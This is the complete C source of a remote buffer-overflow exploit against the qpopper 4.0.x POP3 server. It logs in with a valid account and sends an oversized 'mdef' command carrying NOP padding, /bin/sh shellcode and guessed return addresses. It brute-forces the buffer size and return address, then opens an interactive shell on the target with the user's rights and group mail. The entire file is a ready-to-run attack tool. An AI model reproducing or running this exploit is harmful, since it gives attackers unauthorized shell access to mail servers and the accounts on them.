/*****************************************************************************/ /* Exploit for qpopper 4.0.x */ /* (successfully tested with debian qpopper-4.0.4-8) */ /* Provide a valid username/password and get a shell with the user's rights */ /* and GID mail. */ /* Author: Florian Heinz <sky@dereference.de> */ /* */ /*****************************************************************************/ #include <sys/socket.h> #include <sys/select.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> char shellcode[] = "\x31\xc0" /* xor %eax, %eax */ "\x31\xdb" /* xor %ebx, %ebx */ "\xb0\x17" /* mov $0x17, %al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax, %eax */ "\x50" /* push %eax */ "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */ "\x89\xe3" /* mov %esp,%ebx */ "\x50" /* push %eax */ "\x53" /* push %ebx */ "\x89\xe1" /* mov %esp,%ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xb0\x08" /* mov $0x8,%al */ "\x40\x40\x40" /* inc %eax (3 times) */ "\xcd\x80"; /* int $0x80 */ #define BUFLEN 1006 #define RETLEN 148 #define RETADDR 0xbfffc004 void shell_io (fd) int fd; { fd_set fs; char buf[1000]; int len; while (1) { FD_ZERO(&fs); FD_SET(0, &fs); FD_SET(fd, &fs); select(fd+1, &fs, NULL, NULL, NULL); if (FD_ISSET(0, &fs)) { if ((len = read(0, buf, 1000)) <= 0) break; write(fd, buf, len); } else { if ((len = read(fd, buf, 1000)) <= 0) break; write(1, buf, len); } } } void send_mdef (fd, buflen, retaddr, rashift) int fd, buflen, rashift; unsigned int retaddr; { char buf[2000], *bp; int i; memset(buf, 0x90, 2000); memcpy(buf, "mdef ", 5); memcpy(buf + buflen - RETLEN - strlen(shellcode), shellcode, strlen(shellcode)); bp = (char *) (((unsigned int)(buf + buflen - RETLEN)) & 0xfffffffc); for (i = 0; i < RETLEN; i += 4) memcpy(bp+i+rashift, &retaddr, sizeof(int)); buf[buflen-2] = '('; buf[buflen-1] = ')'; buf[buflen] = '\n'; write(fd, buf, buflen+1); return; } int get_pop_reply (int fd, char *buf, int buflen) { int len; fd_set s; struct timeval tv; len = read (fd, buf, buflen); FD_ZERO(&s); FD_SET(fd, &s); tv.tv_sec = tv.tv_usec = 0; select(fd+1, &s, NULL, NULL, &tv); if (FD_ISSET(fd, &s)) len = read (fd, buf, buflen); if (len == 0) return 0; else if (!strncmp(buf, "-ERR ", 5)) return -1; else return len; } int open_pop(ip, user, pass) unsigned int ip; char *user, *pass; { struct sockaddr_in peer; int fd, st = 0; char buf[1024]; int state = 0; peer.sin_family = AF_INET; peer.sin_port = htons(110); peer.sin_addr.s_addr = ip; fd = socket(AF_INET, SOCK_STREAM, 0); if (fd < 0) { perror("socket"); exit(EXIT_FAILURE); } printf("Connecting to %s... ", inet_ntoa(peer.sin_addr)); fflush(stdout); if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) { perror("connect"); exit(EXIT_FAILURE); } printf("Logging in... "); fflush(stdout); while ((state < 3) && ((st = read(fd, buf, 1024)) > 0)) { if (!strncmp(buf, "+OK ", 4)) { switch (state) { case 0: snprintf(buf, 1024, "USER %s\n", user); write(fd, buf, strlen(buf)); state++; break; case 1: snprintf(buf, 1024, "PASS %s\n", pass); write(fd, buf, strlen(buf)); state++; break; case 2: state++; break; } } else if (!strncmp(buf, "-ERR ", 5)) { fprintf(stderr, "Could not log in. Did you provide a valid " "username/password-combination?\n"); break; } else { fprintf(stderr, "Invalid response from POP-Server:\n'%s'\n", buf); break; } } if (state < 3) { fprintf(stderr, "Exiting due to error...\n"); exit(EXIT_FAILURE); } else if (st < 0) { perror("read"); exit(EXIT_FAILURE); } else if (st == 0) { fprintf(stderr, "Peer closed...\n"); exit(EXIT_FAILURE); } return fd; } int main (argc, argv) int argc; char *argv[]; { char *host, *user, *pass; struct hostent *he; struct in_addr in; unsigned int ip, retaddr; int fd = -1, lbs, bs, ubs, found = 0, st; char buf[2000]; if (4 != argc) { fprintf(stderr, "Usage: %s <host> <user> <pass>\n\n", argv[0]); exit(EXIT_FAILURE); } host = argv[1]; user = argv[2]; pass = argv[3]; if (!inet_aton(host, &in)) { if (!(he = gethostbyname(host))) { herror("Resolving host"); exit(EXIT_FAILURE); } in.s_addr = *((unsigned int *)he->h_addr); } ip = in.s_addr; printf("Phase 1: Seeking buffer size\n"); lbs = 0; bs = BUFLEN; ubs = 2000; while (!found && (bs != lbs) && (bs != ubs)) { if (fd < 0) fd = open_pop(ip, user, pass); printf("Trying %d bytes... ", bs); fflush(stdout); send_mdef(fd, bs, 0x01010101, 0); sleep(1); switch ((st = get_pop_reply(fd, buf, 2000))) { case 0: found++; close(fd); fd = -1; break; case -1: printf("too long.\n"); ubs = bs; bs = (lbs+ubs)/2; break; default: if (st < bs) { printf("(slightly) too long.\n"); ubs = bs; bs = (lbs+ubs)/2; break; } else { printf("too short.\n"); lbs = bs; bs = (lbs+ubs)/2; break; } } } if (!found) { printf("Couldn't find correct buffersize...\n"); exit(EXIT_FAILURE); } printf("crash.\n"); while (found) { bs--; if (fd < 0) fd = open_pop(ip, user, pass); printf("Trying %d bytes... ", bs); fflush(stdout); send_mdef(fd, bs, 0x01010101, 0); sleep(1); if (get_pop_reply(fd, buf, 2000)) { printf("no crash\n"); bs += 4; bs = bs & 0xfffffffc; found = 0; } else { fd = -1; printf("crash\n"); } } printf("Optimal buffer size: %d\n\n", bs); printf("Phase 2: Find return address\n"); found = 0; retaddr = RETADDR; while (!found) { if (fd < 0) fd = open_pop(ip, user, pass); printf("Trying %x... ", retaddr); fflush(stdout); send_mdef(fd, bs, retaddr, 2); sleep(1); if (get_pop_reply(fd, buf, 2000)) { printf("no crash\n"); found = 1; } else { fd = -1; retaddr += ((bs - RETLEN - 10 - strlen(shellcode)) & 0xffffff00); printf("crash\n"); } if (retaddr > 0xbfffff00) break; } if (!found) { printf("Couldn't find a valid return address\n"); exit(EXIT_FAILURE); } write(fd, "uname -a\n", 9); st = read(fd, buf, 100); buf[st] = '\0'; if ((buf[0] != '-') && (buf[0] != '+')) { printf("We're in! (%s)\n", buf); shell_io(fd); } else printf("We failed...\n"); exit(EXIT_FAILURE); }